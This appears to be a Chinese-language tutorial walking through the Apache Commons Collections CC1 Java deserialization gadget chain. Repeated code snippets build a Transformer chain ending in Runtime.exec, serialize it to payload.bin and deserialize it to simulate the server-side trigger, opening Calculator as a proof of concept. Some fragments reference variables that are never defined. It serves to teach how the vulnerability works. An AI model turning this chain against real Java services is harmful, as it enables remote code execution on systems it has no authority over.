publicclasscc1{ publicstaticvoidmain(String[] args){ //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/Contents/MacOS/Calculator"}) };
//将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers);
publicstaticvoidmain(String[] args)throws Exception { //模拟攻击 //1.客户端构造序列化payload,使用写入文件模拟发包攻击 InvokerTransformer a = new InvokerTransformer( "exec", new Class[]{String.class}, new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"});
FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(a); //2.服务端从文件中读取payload模拟接受包,然后触发漏洞 //服务端反序列化payload读取 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //神奇第一处:服务端需要自主构造恶意input Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")); //神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数input InvokerTransformer a_in = (InvokerTransformer) fin.readObject(); a_in.transform(input); }
/** * Transformer implementation that chains the specified transformers together. * <p> * The input object is passed to the first transformer. The transformed result * is passed to the second transformer and so on. * 将指定的转换器连接在一起的转化器实现。 输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推
/** * Transforms the input to result via each decorated transformer * * @param object the input object passed to the first transformer * @return the transformed result */ public Object transform(Object object){ for (int i = 0; i < iTransformers.length; i++) { //熟悉,这就是刚才上面提到的循环 object = iTransformers[i].transform(object); } return object; }
/** * Constructor that performs no validation. * Use <code>getInstance</code> if you want that. * * @param transformers the transformers to chain, not copied, no nulls */ publicChainedTransformer(Transformer[] transformers){ super();//这个super不清楚做了啥, iTransformers = transformers; }
//只调用InvokeTransformer的情况如下: InvokerTransformer a = new InvokerTransformer( "exec", new Class[]{String.class}, new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"});
Transformer[] transformers = new Transformer[] { //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例 // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))), new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null);//此处输入可以为任意值,因为不会被使用到,相当于初始第一个输入为我们设置的常量
以上代码可以成功弹框执行!这里其实就是把之前的input放进chain里面去了。
那么我们模拟一下序列化与反序列化过程!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
//客户端构造payload Transformer[] transformers = new Transformer[] { new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); //payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(transformerChain);
//服务端反序列化payload读取 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input Transformer transformerChain_now = (ChainedTransformer) fin.readObject(); transformerChain_now.transform(null);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),//得到Runtimeclass //由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样 //上面传入Runtime.class,调用Runtimeclass的getRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可) new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}), //上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例) new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),//先获取Runtime实例 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //还需要填充,调用getRuntime得到Runtime实例,第一个参数是获取的方法,这里先获取getMethod方法,第二个是参数列表,这个是getMethod方法的参数列表,第三个参数是invoke方法的参数列表,这里我们想先反射出来getRuntime参数,Class[0]是用来占位的,这部分在经过transform函数处理之后,返回的是getRuntime()这样的一个方法。 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) //最后一轮是先获取exec方法,invoke方法的命令是“/Applications/Calculator.app/Contents/MacOS/Calculator” };
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) };
publicstaticvoidmain(String[] args)throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(transformerChain);
//2.服务端读取文件,反序列化,模拟网络传输 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi);
publicstaticvoidmain(String[] args)throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(outerMap);
//2.服务端接受反序列化,出发漏洞 //读取文件,反序列化,模拟网络传输 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi);
publicstaticvoidmain(String[] args)throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(instance);
//2.服务端读取文件,反序列化,模拟网络传输 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服务端反序列化 fin.readObject(); }